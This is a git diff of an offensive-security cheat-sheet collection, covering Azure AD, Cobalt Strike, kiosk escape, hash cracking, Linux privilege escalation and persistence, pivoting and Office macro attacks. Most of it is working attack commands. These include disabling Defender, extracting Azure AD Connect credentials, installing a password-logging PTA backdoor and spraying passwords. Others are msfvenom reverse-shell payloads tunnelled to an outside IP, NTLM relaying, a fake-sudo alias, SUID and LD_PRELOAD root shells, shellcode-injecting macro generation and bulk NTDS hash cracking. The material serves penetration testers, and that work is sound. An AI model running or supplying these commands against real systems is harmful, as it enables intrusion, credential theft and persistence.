-ForEach($role in $roles) {
- $users=Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
- ForEach($user in $users) {
- write-host $role.DisplayName,$user.DisplayName
- $obj = New-Object PSCustomObject
- $obj | Add-Member -type NoteProperty -name RoleName -value ""
- $obj | Add-Member -type NoteProperty -name UserDisplayName -value ""
- $obj | Add-Member -type NoteProperty -name IsAdSynced -value false
- $obj.RoleName=$role.DisplayName
- $obj.UserDisplayName=$user.DisplayName
- $obj.IsAdSynced=$user.DirSyncEnabled -eq $true
- $roleUsers+=$obj
- }
-}
-$roleUsers
-
-### Enumeration using Microburst
-git clone https://github.com/NetSPI/MicroBurst/blob/master/Get-AzureADDomainInfo.ps1
-Import-Module .\MicroBurst.psm1
-
-# Anonymous enumeration
-Invoke-EnumerateAzureBlobs -Base company
-Invoke-EnumerateAzureSubDomains -base company -verbose
-
-# Authencticated enumeration
-Get-AzureADDomainInfo
-Get-AzureDomainInfo -folder MicroBurst -VerboseGet-MSOLDomainInfo
-Get-MSOLDomainInfo
-```
-
-
-With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD.
-
-1. Authenticate to your webmail portal (i.e. https://webmail.domain.com/)
-2. Change your browser URL to: https://azure.microsoft.com/
-3. Pick the account from the active sessions
-4. Select Azure Active Directory and enjoy!
-
-## Azure AD - Password Spray
+### Password Spray
> Default lockout policy of 10 failed attempts, locking out an account for 60 seconds
@@ -320,7 +965,7 @@ Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!
# URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
```
-## Azure AD - Convert GUID to SID
+### Convert GUID to SID
The user's AAD id is translated to SID by concatenating `"S-1–12–1-"` to the decimal representation of each section of the AAD Id.
@@ -331,26 +976,38 @@ SID: S-1–12–1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)]
For example, the representation of `6aa89ecb-1f8f-4d92–810d-b0dce30b6c82` is `S-1–12–1–1789435595–1301421967–3702525313–2188119011`
-## Azure AD - Sign in with a service principal
+## Azure AD Connect
-https://docs.microsoft.com/en-us/powershell/azure/authenticate-azureps?view=azps-3.3.0&viewFallbackFrom=azurermps-6.5.0#sign-in-with-a-service-principal
+Check if Azure AD Connect is installed : `Get-ADSyncConnector`
-:warning: Service Principal accounts do not require MFA. Anyone with control over Service Principals can assign credentials to them and potentially escalate privileges.
+* For **PHS**, we can extract the credentials
+* For **PTA**, we can install the agent
+* For **Federation**, we can extract the certificate from ADFS server using DA
-* Password based authentication
+```powershell
+PS > Set-MpPreference -DisableRealtimeMonitoring $true
+PS > Copy-Item -ToSession $adcnct -Path C:\Tools\AADInternals.0.4.5.zip -Destination C:\Users\Administrator\Documents
+PS > Expand-Archive C:\Users\Administrator\Documents\AADInternals.0.4.5.zip -DestinationPath C:\Users\Administrator\Documents\AADInternals
+PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1
+PS > Get-AADIntSyncCredentials
+# Get Token for SYNC account and reset on-prem admin password
+PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force
+PS > $creds = New-Object System.Management.Automation.PSCredential ("@.onmicrosoft.com", $passwd)
+PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache
+PS > Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId
+PS > Set-AADIntUserPassword -SourceAnchor "" -Password "Password" -Verbose
+```
+
+1. Check if PTA is installed : `Get-Command -Module PassthroughAuthPSModule`
+2. Install a PTA Backdoor
```powershell
- # Use the service principal ID for the username
- $pscredential = Get-Credential
- Connect-AzAccount -ServicePrincipal -Credential $pscredential -Tenant $tenantId
- ```
-* Certificate based authentication
-
- ```powershell
- Connect-AzAccount -ApplicationId $appId -Tenant $tenantId -CertificateThumbprint
+ PS AADInternals> Install-AADIntPTASpy
+ PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords
```
-## Azure AD Connect - Password extraction
+
+### Azure AD Connect - Password extraction
Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
@@ -366,11 +1023,11 @@ git clone https://github.com/fox-it/adconnectdump
# DCSync with AD Sync account
```
-## Azure AD Connect - MSOL Account's password and DCSync
+### Azure AD Connect - MSOL Account's password and DCSync
You can perform **DCSync** attack using the MSOL account.
-Prerequisite:
+Requirements:
* Compromise a server with Azure AD Connect service
* Access to ADSyncAdmins or local Administrators groups
@@ -380,10 +1037,12 @@ Use the script **azuread_decrypt_msol.ps1** from @xpn to recover the decrypted p
Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack.
-## Azure AD Connect - Seamless Single Sign On Silver Ticket
+### Azure AD Connect - Seamless Single Sign On Silver Ticket
> Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)
+> Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer account **AZUREADSSOC** is created in the on-prem AD.
+
:warning: The password of the AZUREADSSOACC account never changes.
Using [https://autologon.microsoftazuread-sso.com/](https://autologon.microsoftazuread-sso.com/) to convert Kerberos tickets to SAML and JWT for Office 365 & Azure
@@ -406,82 +1065,16 @@ Using [https://autologon.microsoftazuread-sso.com/](https://autologon.microsofta
7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.
-## Azure AD - ADFS Federation Server ~Cloud Kerberos
-
-Discover Federation Servers
-* adfs
-* auth
-* fs
-* okta
-* ping
-* sso
-* sts
-
-OWA Version Discovery : autodiscover.domain.com
-
-## Azure AD - Persistence via Automation accounts
-
-* Create a new Automation Account
- * "Create Azure Run As account": Yes
-* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
- * Sample runbook for this Blog located here – https://github.com/NetSPI/MicroBurst
- * Publish the runbook
- * Add a webhook to the runbook
-* Add the AzureAD module to the Automation account
- * Update the Azure Automation Modules
-* Assign "User Administrator" and "Subscription Owner" rights to the automation account
-* Eventually lose your access…
-* Trigger the webhook with a post request to create the new user
- ```powershell
- $uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
- $AccountInfo = @(@{RequestBody=@{Username="BlogDemoUser";Password="Password123"}})
- $body = ConvertTo-Json -InputObject $AccountInfo
- $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
- ```
-
-## Azure VM - Execute command as NT SYSTEM with Contributor right
-
-> Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System
-
-```powershell
-PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
-
-ResourceGroupName Name
------------------ ----
-TESTRESOURCES Remote-Test
-PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
-```
-
-Against the whole subscription using MicroBurst.ps1
-
-```powershell
-Import-module MicroBurst.psm1
-Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
-```
-
-## Office365 - Enumerating Users
-
-NOTE: By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.
-
-* Bruteforce user enum : https://bitbucket.org/grimhacker/office365userenum/src/master/ based on the endpoint https://login.microsoftonline.com/getuserrealm.srf?login=firstname.lastname@domain.com&xml=1
- ```powershell
- RealmInfo Success="true">
- 3
- 2
- firstname.lastname@domain.com
- Federated
- domain.com
- -1
-
- https://fws.domain.com/o365/visfed/intrdomain/se/?username=firstname.lastname%40domain.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=
-
- ```
-* Validate email : https://github.com/LMGsec/o365creeper `o365creeper.py -f emails.txt -o validemails.txt`
-* Extract email lists with a valid credentials : https://github.com/nyxgeek/o365recon
-
-
## References
+* [Introduction To 365-Stealer - Understanding and Executing the Illicit Consent Grant Attack](https://www.alteredsecurity.com/post/introduction-to-365-stealer)
+* [Learn with @trouble1_raunak: Cloud Pentesting - Azure (Illicit Consent Grant Attack) !!](https://www.youtube.com/watch?v=51FSvndgddk&list=WL)
+* [Pass-the-PRT attack and detection by Microsoft Defender for … - Derk van der Woude - Jun 9](https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94)
+* [Azure AD Pass The Certificate - Mor - Aug 19, 2020](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
+* [Get Access Tokens for Managed Service Identity on Azure App Service](https://zhiliaxu.github.io/app-service-managed-identity.html)
+* [Bypassing conditional access by faking device compliance - September 06, 2020 - @DrAzureAD](https://o365blog.com/post/mdm/)
+* [CARTP-cheatsheet - Azure AD cheatsheet for the CARTP course](https://github.com/0xJs/CARTP-cheatsheet/blob/main/Authenticated-enumeration.md)
+* [Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions - August 28, 2018 - Karl Fosaaen](https://www.netspi.com/blog/technical/cloud-penetration-testing/get-azurepasswords/)
* [An introduction to penetration testing Azure - Graceful Security](https://www.gracefulsecurity.com/an-introduction-to-penetration-testing-azure/)
* [Running Powershell scripts on Azure VM - Netspi](https://blog.netspi.com/running-powershell-scripts-on-azure-vms/)
* [Attacking Azure Cloud shell - Netspi](https://blog.netspi.com/attacking-azure-cloud-shell/)
diff --git a/Methodology and Resources/Cobalt Strike - Cheatsheet.md b/Methodology and Resources/Cobalt Strike - Cheatsheet.md
index f8975eb..de13806 100644
--- a/Methodology and Resources/Cobalt Strike - Cheatsheet.md
+++ b/Methodology and Resources/Cobalt Strike - Cheatsheet.md
@@ -36,6 +36,8 @@ $ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstri
* [Persistence Kit](#persistence-kit)
* [Resource Kit](#resource-kit)
* [Artifact Kit](#artifact-kit)
+ * [Mimikatz Kit](#mimikatz-kit)
+* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike)
* [References](#references)
@@ -168,6 +170,7 @@ $ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\d
* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
+* SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint
```powershell
set useragent "SOME AGENT"; # GOOD
@@ -390,10 +393,20 @@ beacon > browserpivot [pid] [x86|x64]
# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
beacon > rportfwd [bind port] [forward host] [forward port]
+
+# spunnel : Spawn an agent and create a reverse port forward tunnel to its controller. ~= rportfwd + shspawn.
+msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin
+beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin
+
+# spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller
+# then you can handle the connect back on your MSF multi handler
+beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin
```
## Kits
+* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike
+
### Elevate Kit
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
@@ -455,6 +468,22 @@ Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
- Build the Artifact
- Cobalt Strike -> Script Manager > Load .cna
+### Mimikatz Kit
+
+* Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)
+* Load the mimikatz.cna aggressor script
+* Use mimikatz functions as normal
+
+## NTLM Relaying via Cobalt Strike
+
+```powershell
+beacon> socks 1080
+kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://
+beacon> rportfwd_local 8445 445
+beacon> upload C:\Tools\PortBender\WinDivert64.sys
+beacon> PortBender redirect 445 8445
+```
+
## References
* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
@@ -470,4 +499,5 @@ Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/)
* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE – UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
-* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
\ No newline at end of file
+* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
+* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)
\ No newline at end of file
diff --git a/Methodology and Resources/Escape Breakout.md b/Methodology and Resources/Escape Breakout.md
index d5c9571..5604fc8 100644
--- a/Methodology and Resources/Escape Breakout.md
+++ b/Methodology and Resources/Escape Breakout.md
@@ -3,7 +3,7 @@
## Summary
* [Gaining a command shell](#gaining-a-command-shell)
-* [Sticky Keys](#explorer---sticky-keys)
+* [Sticky Keys](#sticky-keys)
* [Dialog Boxes](#dialog-boxes)
* [Creating new files](#creating-new-files)
* [Open a new Windows Explorer instance](#open-a-new-windows-explorer-instance)
@@ -19,7 +19,7 @@
* **Shortcut**
* [Window] + [R] -> cmd
- * [CTRL] + [ALT] + [SHIFT] -> Task Manager
+ * [CTRL] + [SHIFT] + [ESC] -> Task Manager
* [CTRL] + [ALT] + [DELETE] -> Task Manager
* **Access through file browser**: Browsing to the folder containing the binary (i.e. `C:\windows\system32\`), we can simply right click and `open` it
* **Drag-and-drop**: dragging and dropping any file onto the cmd.exe
@@ -94,6 +94,41 @@ Enter *.* or *.exe or similar in `File name` box
* Print menus
* All other menus that provide dialog boxes
+### Accessing filesystem
+
+Enter these paths in the address bar:
+
+* file://C:/windows
+* C:/windows/
+* %HOMEDRIVE%
+* \\127.0.0.1\c$\Windows\System32
+
+### Unassociated Protocols
+
+It is possible to escape a browser based kiosk with other protocols than usual `http` or `https`.
+If you have access to the address bar, you can use any known protocol (`irc`, `ftp`, `telnet`, `mailto`, etc.)
+to trigger the *open with* prompt and select a program installed on the host.
+The program will than be launched with the uri as a parameter, you need to select a program that will not crash when recieving it.
+It is possible to send multiple parameters to the program by adding spaces in your uri.
+
+Note: This technique required that the protocol used is not already associated with a program.
+
+Example - Launching Firefox with a custom profile:
+
+This is a nice trick since Firefox launched with the custom profile may not be as much hardened as the default profile.
+
+0. Firefox need to be installed.
+1. Enter the following uri in the address bar: `irc://127.0.0.1 -P "Test"`
+2. Press enter to navigate to the uri.
+3. Select the firefox program.
+4. Firefox will be launched with the profile `Test`.
+
+In this example, it's the equivalent of running the following command:
+```
+firefox irc://127.0.0.1 -P "Test"
+```
+
+
## Shell URI Handlers
* shell:DocumentsLibrary
@@ -109,4 +144,5 @@ Enter *.* or *.exe or similar in `File name` box
## References
* [PentestPartners - Breaking out of Citrix and other restricted desktop environments](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
-* [Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks - Scott Sutherland - May 22nd, 2013](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
\ No newline at end of file
+* [Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks - Scott Sutherland - May 22nd, 2013](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
+* [Escaping from KIOSKs - HackTricks](https://book.hacktricks.xyz/physical-attacks/escaping-from-gui-applications)
diff --git a/Methodology and Resources/Hash Cracking.md b/Methodology and Resources/Hash Cracking.md
new file mode 100644
index 0000000..c720725
--- /dev/null
+++ b/Methodology and Resources/Hash Cracking.md
@@ -0,0 +1,142 @@
+# Hash Cracking
+
+## Summary
+
+* [Hashcat](https://hashcat.net/hashcat/)
+ * [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
+ * [Hashcat Install](#hashcat-install)
+ * [Brute-Force](#brute-force)
+ * [Dictionary](#dictionary)
+* [John](https://github.com/openwall/john)
+ * [Usage](#john-usage)
+* [Rainbow tables](#rainbow-tables)
+* [Tips and Tricks](#tips-and-tricks)
+* [Online Cracking Resources](#online-cracking-resources)
+* [References](#references)
+
+
+## Hashcat
+
+### Hashcat Install
+
+```powershell
+apt install cmake build-essential -y
+apt install checkinstall git -y
+git clone https://github.com/hashcat/hashcat.git && cd hashcat && make -j 8 && make install
+```
+
+
+### Brute-Force
+
+> Every possibility for a given character set and a given length (i.e. aaa, aab, aac, ...) is hashed and compared against the target hash.
+
+```powershell
+# Mask: upper*1+lower*5+digit*2 and upper*1+lower*6+digit*2
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?d?d?1
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?l?d?d?1
+
+# Mask: upper*1+lower*3+digit*4 and upper*1+lower*3+digit*4
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?d?d?d?d
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?d?d?d?d
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d?d?d
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?d?d?d?d?1
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?d?d?d?d?1
+
+# Mask: lower*6 + digit*2 + special digit(+!?*)
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1?1
+
+# Mask: lower*6 + digit*2
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 /content/hashcat/masks/8char-1l-1u-1d-1s-compliant.hcmask
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 ?l?d?u ?1?1?1?1?1?1?1?1
+
+# Other examples
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a?a
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a
+hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d?d?d
+hashcat --attack-mode 3 --increment --increment-min 4 --increment-max 8 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a?a?a?a?a"
+hashcat --attack-mode 3 --hash-type $number $hashes_file "?u?l?l?l?d?d?d?d?s"
+hashcat --attack-mode 3 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a"
+hashcat --attack-mode 3 --custom-charset1 "?u" --custom-charset2 "?l?u?d" --custom-charset3 "?d" --hash-type $number $hashes_file "?1?2?2?2?3"
+```
+
+| Shortcut | Characters |
+|----|----------------------------|
+| ?l | abcdefghijklmnopqrstuvwxyz |
+| ?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
+| ?d | 0123456789 |
+| ?s | !"#$%&'()*+,-./:;<=>?@[\]^_`{}~ |
+| ?a | ?l?u?d?s |
+| ?b | 0x00 - 0xff |
+
+### Dictionary
+
+> Every word of a given list (a.k.a. dictionary) is hashed and compared against the target hash.
+
+```powershell
+hashcat --attack-mode 0 --hash-type $number $hashes_file $wordlist_file
+```
+
+* Wordlists
+ * [packetstorm](https://packetstormsecurity.com/Crackers/wordlists/)
+ * [weakpass_3a](https://download.weakpass.com/wordlists/1948/weakpass_3a.7z)
+ * [weakpass_3](https://download.weakpass.com/wordlists/1947/weakpass_3.7z)
+ * [Hashes.org](https://download.weakpass.com/wordlists/1931/Hashes.org.7z)
+ * [kerberoast_pws](https://gist.github.com/edermi/f8b143b11dc020b854178d3809cf91b5/raw/b7d83af6a8bbb43013e04f78328687d19d0cf9a7/kerberoast_pws.xz)
+* Rules
+ * [One Rule to Rule Them All](https://notsosecure.com/one-rule-to-rule-them-all/)
+ * [nsa-rules](https://github.com/NSAKEY/nsa-rules)
+ * [hob064](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/hob064.rule)
+ * [d3adhob0](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/d3adhob0.rule)
+
+## John
+
+
+### John Usage
+
+```bash
+# Run on password file containing hashes to be cracked
+john passwd
+
+# Use a specific wordlist
+john --wordlist= passwd
+
+# Show cracked passwords
+john --show passwd
+
+# Restore interrupted sessions
+john --restore
+```
+
+
+## Rainbow tables
+
+> The hash is looked for in a pre-computed table. It is a time-memory trade-off that allows cracking hashes faster, but costing a greater amount of memory than traditional brute-force of dictionary attacks. This attack cannot work if the hashed value is salted (i.e. hashed with an additional random value as prefix/suffix, making the pre-computed table irrelevant)
+
+## Tips and Tricks
+
+* Cloud GPU
+ * [penglab - Abuse of Google Colab for cracking hashes. 🐧](https://github.com/mxrch/penglab)
+ * [google-colab-hashcat - Google colab hash cracking](https://github.com/ShutdownRepo/google-colab-hashcat)
+ * [Cloudtopolis - Zero Infrastructure Password Cracking](https://github.com/JoelGMSec/Cloudtopolis)
+ * [Nephelees - also a NTDS cracking tool abusing Google Colab](https://github.com/swisskyrepo/Nephelees)
+* Build a rig on premise
+ * [Pentester's Portable Cracking Rig - $1000](https://www.netmux.com/blog/portable-cracking-rig)
+ * [How To Build A Password Cracking Rig - 5000$](https://www.netmux.com/blog/how-to-build-a-password-cracking-rig)
+* Online cracking
+ * [Hashes.com](https://hashes.com/en/decrypt/hash)
+* Use the `loopback` in combination with rules and dictionary to keep cracking until you don't find new passsword: `hashcat --loopback --attack-mode 0 --rules-file $rules_file --hash-type $number $hashes_file $wordlist_file`
+
+
+## Online Cracking Resources
+
+* [hashes.com](https://hashes.com)
+* [crackstation](https://crackstation.net)
+
+
+## References
+
+* [Cracking - The Hacker Recipes](https://www.thehacker.recipes/ad-ds/movement/credentials/cracking)
+* [Using Hashcat to Crack Hashes on Azure](https://durdle.com/2017/04/23/using-hashcat-to-crack-hashes-on-azure/)
diff --git a/Methodology and Resources/Linux - Persistence.md b/Methodology and Resources/Linux - Persistence.md
index dfe8332..929eedd 100644
--- a/Methodology and Resources/Linux - Persistence.md
+++ b/Methodology and Resources/Linux - Persistence.md
@@ -72,7 +72,7 @@ or add the following line inside its .bashrc file.
```powershell
$ chmod u+x ~/.hidden/fakesudo
-$ echo "alias sudo=~/.hidden/fakesudo" >> ~./bashrc
+$ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc
```
and create the `fakesudo` script.
diff --git a/Methodology and Resources/Linux - Privilege Escalation.md b/Methodology and Resources/Linux - Privilege Escalation.md
index a03a217..c0a39c0 100644
--- a/Methodology and Resources/Linux - Privilege Escalation.md
+++ b/Methodology and Resources/Linux - Privilege Escalation.md
@@ -41,6 +41,7 @@
* [Groups](#groups)
* [Docker](#docker)
* [LXC/LXD](#lxclxd)
+* [Hijack TMUX session](#hijack-tmux-session)
* [Kernel Exploits](#kernel-exploits)
* [CVE-2016-5195 (DirtyCow)](#CVE-2016-5195-dirtycow)
* [CVE-2010-3904 (RDS)](#[CVE-2010-3904-rds)
@@ -328,6 +329,13 @@ find / -uid 0 -perm -4000 -type f 2>/dev/null
### Create a SUID binary
+| Function | Description |
+|------------|---|
+| setreuid() | sets real and effective user IDs of the calling process |
+| setuid() | sets the effective user ID of the calling process |
+| setgid() | sets the effective group ID of the calling process |
+
+
```bash
print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
gcc -o /tmp/suid /tmp/suid.c
@@ -340,7 +348,7 @@ sudo chmod +s /tmp/suid # setuid bit
### List capabilities of binaries
-```bash
+```powershell
╭─swissky@lab ~
╰─$ /usr/bin/getcap -r /usr/bin
/usr/bin/fping = cap_net_raw+ep
@@ -434,10 +442,11 @@ Defaults env_keep += LD_PRELOAD
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
-```powershell
+```c
#include
#include
#include
+#include
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
@@ -737,6 +746,17 @@ lxc exec mycontainer /bin/sh
Alternatively https://github.com/initstring/lxd_root
+
+## Hijack TMUX session
+
+Require a read access to the tmux socket : `/tmp/tmux-1000/default`.
+
+```powershell
+export TMUX=/tmp/tmux-1000/default,1234,0
+tmux ls
+```
+
+
## Kernel Exploits
Precompiled exploits can be found inside these repositories, run them at your own risk !
diff --git a/Methodology and Resources/Network Pivoting Techniques.md b/Methodology and Resources/Network Pivoting Techniques.md
index 09285a3..670fae3 100644
--- a/Methodology and Resources/Network Pivoting Techniques.md
+++ b/Methodology and Resources/Network Pivoting Techniques.md
@@ -10,6 +10,7 @@
* [Proxychains](#proxychains)
* [Graphtcp](#graphtcp)
* [Web SOCKS - reGeorg](#web-socks---regeorg)
+* [Web SOCKS - pivotnacci](#web-socks---pivotnacci)
* [Metasploit](#metasploit)
* [sshuttle](#sshuttle)
* [chisel](#chisel)
@@ -118,6 +119,17 @@ optional arguments:
-v , --verbose Verbose output[INFO|DEBUG]
```
+## Web SOCKS - pivotnacci
+
+[pivotnacci](https://github.com/blackarrowsec/pivotnacci), a tool to make socks connections through HTTP agents.
+
+```powershell
+pip3 install pivotnacci
+pivotnacci https://domain.com/agent.php --password "s3cr3t"
+pivotnacci https://domain.com/agent.php --polling-interval 2000
+```
+
+
## Metasploit
```powershell
diff --git a/Methodology and Resources/Office - Attacks.md b/Methodology and Resources/Office - Attacks.md
index 9977663..5942322 100644
--- a/Methodology and Resources/Office - Attacks.md
+++ b/Methodology and Resources/Office - Attacks.md
@@ -17,6 +17,7 @@
* [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions)
* [DOCM - winmgmts](#docm---winmgmts)
* [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde)
+* [DOCM - BadAssMacros](#docm---badassmacros)
* [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module)
* [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec)
* [VBA Obfuscation](#vba-obfuscation)
@@ -326,8 +327,7 @@ SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe", "C:\Windows
> Only the community version is available online.
-* git clone https://github.com/sevagas/macro_pack
-* https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe
+* [https://github.com/sevagas/macro_pack](https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe)
```powershell
# Options
@@ -385,6 +385,29 @@ echo "x86.bin" "x64.bin" | macro_pack.exe -t AUTOSHELLCODE -o –autopack -G sc_
echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" | macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G samples\sc_dl.xls
```
+## DOCM - BadAssMacros
+
+> C# based automated Malicous Macro Generator.
+
+* https://github.com/Inf0secRabbit/BadAssMacros
+
+```powershell
+BadAssMacros.exe -h
+
+# Create VBA for classic shellcode injection from raw shellcode
+BadAssMacros.exe -i -w -p no -s classic -c -o
+BadAssMacros.exe -i .\Desktop\payload.bin -w doc -p no -s classic -c 23 -o .\Desktop\output.txt
+
+# Create VBA for indirect shellcode injection from raw shellcode
+BadAssMacros.exe -i -w -p no -s indirect -o
+
+# List modules inside Doc/Excel file
+BadAssMacros.exe -i -w -p yes -l
+
+# Purge Doc/Excel file
+BadAssMacros.exe -i -w -p yes -o -m
+```
+
## DOCM - CACTUSTORCH VBA Module
diff --git a/Methodology and Resources/Reverse Shell Cheatsheet.md b/Methodology and Resources/Reverse Shell Cheatsheet.md
index db2683e..3b047c1 100644
--- a/Methodology and Resources/Reverse Shell Cheatsheet.md
+++ b/Methodology and Resources/Reverse Shell Cheatsheet.md
@@ -28,6 +28,7 @@
* [Python](#python)
* [Ruby](#ruby)
* [Socat](#socat)
+ * [Telnet](#telnet)
* [War](#war)
* [Meterpreter Shell](#meterpreter-shell)
* [Windows Staged reverse TCP](#windows-staged-reverse-tcp)
@@ -94,19 +95,62 @@ IPv4
```python
